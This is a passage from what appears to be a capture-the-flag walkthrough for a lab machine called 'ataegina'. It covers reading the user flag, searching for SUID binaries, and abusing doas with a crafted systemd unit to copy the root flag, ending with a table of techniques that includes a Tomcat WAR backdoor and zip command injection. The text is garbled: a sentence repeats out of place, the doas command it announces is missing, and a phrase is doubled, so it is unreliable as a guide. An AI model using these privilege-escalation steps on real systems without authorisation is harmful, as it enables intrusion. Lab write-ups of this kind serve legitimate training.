We now have an interactive shell as ataegina . cat /home/ataegina/user.txt THMataegina_user_flag 4. Root Privilege Escalation Check SUID binaries:
find / -perm -4000 2>/dev/null Found: /usr/bin/doas (OpenBSD’s doas alternative on Linux). ataegina walkthrough
cat <<EOF > /tmp/root.service [Service] ExecStart=/bin/bash -c 'cat /root/root.txt > /tmp/root_flag' [Install] WantedBy=multi-user.target EOF Run as root via doas: We now have an interactive shell as ataegina
cat /tmp/root_flag THMataegina_root_flag | Step | Technique | |------|------------| | Recon | Nmap, dirbusting | | Initial access | Tomcat manager default creds → WAR backdoor | | User pivot | sudo zip command injection | | Root | doas misconfiguration + systemctl abuse | Key takeaway: Always check default credentials, cronjobs, sudo/doas rights, and unusual SUID binaries. and unusual SUID binaries.